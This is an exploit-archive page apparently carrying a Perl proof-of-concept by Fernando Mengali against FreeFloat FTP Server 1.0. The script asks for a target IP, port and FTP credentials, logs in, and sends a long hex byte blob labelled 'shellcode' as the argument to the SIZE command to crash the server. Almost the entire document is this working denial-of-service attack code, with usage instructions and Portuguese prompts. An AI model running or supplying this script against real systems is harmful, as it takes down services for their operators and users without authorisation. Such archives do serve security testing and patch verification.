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FreeFloat FTP Server 1.0 Denial Of Service

FreeFloat FTP Server 1.0 Denial Of Service
Posted Jun 9, 2021
Authored by Fernando Mengali

FreeFloat FTP Server version 1.0 SIZE denial of service exploit.

tags | exploit, denial of service
MD5 | 6d5484189be3cde4d35285f6f639eae5

FreeFloat FTP Server 1.0 Denial Of Service

Change Mirror Download
#!/usr/bin/perl -w
#
# e-mail: fernando.mengalli@gmail.com
#
# Date: 06/09/2021 - 09 jun
#
# Version Vulnerable: Freefloat FTP Server 1.0
#
# vídeo: https://youtu.be/de3lCDHLWFE
#
# OS Tested: Windows XP PACK 3 Brazilian
#


use Net::FTP;
use Term::ANSIColor;


$sis="$^O";
print $sis;

if ($sis eq "windows"){
$cmd="cls";
} else {
$cmd="clear";
}

system("$cmd");

if ((!$ARGV[0]) || (!$ARGV[1])) {

&apresentacao();

}

sub apresentacao {

print q {
#############################################################################
# #
# [*] Freefloat FTP Server 1.0 - 'SIZE' - Denied of Service #
# #
# Author: Fernando Mengali #
# #
# [+] Modo de uso: perl exploit.pl <IP> <Porta> #
# #
############################ Code Exploit ###################################
}
}


our $alvo = $ARGV[0];
our $porta = $ARGV[1];

if (!$ARGV[0] && !$ARGV[1]) {
exit;
}


if($alvo !~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/) {
print color('red bold');
print " \n\n [-] Por favor, defina o IP alvo! \n\n";
color('reset');
exit;
}

if($porta < 0 || $porta > 65535) {
print color('red bold');
print " \n\n [-] Por favor, defina uma porta de 1 a 65535! \n\n";
color('reset');
exit;
}

print color('green bold');
print "\n\nAlvo definido =>" .$alvo . " \n \n";
print "Porta definida =>" .$porta . "\n\n";
color('reset');

print color('yellow bold');
print "[+] Por favor, informe a nome de usuário: ";
color('reset');
print color('red bold');
my $usuario = <stdin>;
chomp($usuario);
color('reset');

print color('yellow bold');
print "[*] Por favor, informe a senha de acesso: ";
color('reset');
print color('red bold');
my $senha = <stdin>;
chomp($senha);
color('reset');

my $shellcode =
"\xba\x17\x61\x66\xaf\xdb\xd9\xd9\x74\x24\xf4\x5d\x2b\xc9" .
"\xb1\x60\x31\x55\x12\x83\xed\xfc\x03\x42\x6f\x84\x5a\xb7" .
"\xa9\xf0\x15\x7b\xd9\xfb\x8f\xf7\x01\x08\x75\xdc\x80\x41" .
"\xd3\x13\x51\xba\xe7\x11\x4d\x39\x25\x21\xb3\x27\x8b\x30" .
"\xef\xf1\xac\xbd\x95\xe9\xcf\x1a\x1d\xb9\xe1\xf6\x27\x0b" .
"\xff\x02\x98\xc0\xf6\xc7\x19\x52\xc4\x94\x18\xdb\x56\x20" .
"\xb6\x9a\xc4\xb5\xec\xf3\x40\xd4\x19\x17\x6d\x35\x50\x3a" .
"\x13\xc3\xb3\xf0\x38\x8d\xff\xc5\x05\x55\x33\xe7\xd2\x9e" .
"\xb6\x8c\x9b\x79\xce\x8f\xd6\x30\x72\x12\x62\x26\x3e\xed" .
"\xef\xda\x23\x88\x07\x74\xdc\xbe\xe1\xc4\x3e\x91\x8a\x26" .
"\x3a\x3f\x2b\xf2\xe5\x3a\x18\x0f\xd0\x8d\x7b\xba\xf3\xba" .
"\x2b\x5b\xa5\x2d\x54\xaa\x88\x68\x4b\xf4\xcc\x24\x68\xc1" .
"\x19\x22\xf9\x08\xd6\x08\x8f\x4a\xe0\x7d\x67\xc1\x4e\xd8" .
"\x08\x34\x44\x2b\x6a\x6f\x41\x6d\x53\x26\x73\x9d\xb4\xca" .
"\x87\xed\xe6\x2d\x8b\x1c\x42\x0e\xb3\x20\xd0\xa1\x48\x97" .
"\x45\x46\x26\x6b\xe7\x74\x52\xc1\xae\x2d\x8d\x1a\x06\xe0" .
"\x24\x26\xbe\xfe\x26\xf8\x48\x75\x73\x5d\x6c\x67\xeb\xf4" .
"\xf4\x08\x91\xf8\x5f\x4a\x3a\xd4\x5c\xd4\x7c\x52\x13\xa5" .
"\x08\x06\xc9\x8b\x04\x9a\x0f\xe5\xe8\x1f\xef\x28\x3b\xe9" .
"\x6e\xf9\xee\x7e\xf0\x5c\x5e\x4f\x95\x49\x0f\x83\xf0\x70" .
"\x09\xf6\x83\xe9\x43\xb8\xe0\x88\x51\x6e\x9c\x5d\x48\x5b" .
"\x9b\xca\x9a\xf1\x48\xa8\x51\x22\x61\x12\x55\xfe\x10\x16" .
"\xb5\x42\x42\xff\x15\x14\x3f\x44\x9b\x92\xfc\xd9\x67\xe0" .
"\x15\xd1\x64\xce\x75\xec\xa3\x08\x03\x61\x4a\x3b\x0e\x5a" .
"\xb0\x7b\xe6\x2c\xac\xae\x5d\xad\x71\xf5\xb8\xc4\x4f\xd3" .
"\xf4\x40\x2b\x92\x75\x83\xe3\x0f\x4c\x23\x78\x72\x0f\x22" .
"\xb9\x10\xa6\x1d\xc9\xcb\xca\xe5\x61\xf8\x5f\x64\x86\x49" .
"\x5b\xb2\x9e\x75\x30\xc6\x6e\x3c\x9a\x02\xad\x03\x36\x29" .
"\xaf\x84\x62\x98\x22\xcd\xbf\x7e\xa2\x14\x97\x75\xa2\xc3" .
"\xab";


$payload = $shellcode . "\r\n";

print color('cyan');
print "\n\n[+] Conectando para o servidor " . $alvo . ":" . $porta."... \n";
$ftp = Net::FTP->new($alvo, Debug => 0, Port => $porta) || die color('red')."\n[-] Não foi possível conectar. \n";
sleep(2);
print "[+] Conectado!\n";
sleep(2);
$ftp->login($usuario,$senha) || die color('red')."\n [-] Não pode conectar ou você derrubou: $!";
print "[+] Autenticando...\n";
sleep(2);
print "[+] Autenticado com sucesso!\n\n";
sleep(2);
print "[*] Sobrecarregando o servidor...\n\n";
sleep(2);
$ftp->command("SIZE ", $payload);
color('reset');
print color('green bold');
print "[+] Servidor fora do ar!\n";
color('reset');
exit(0);
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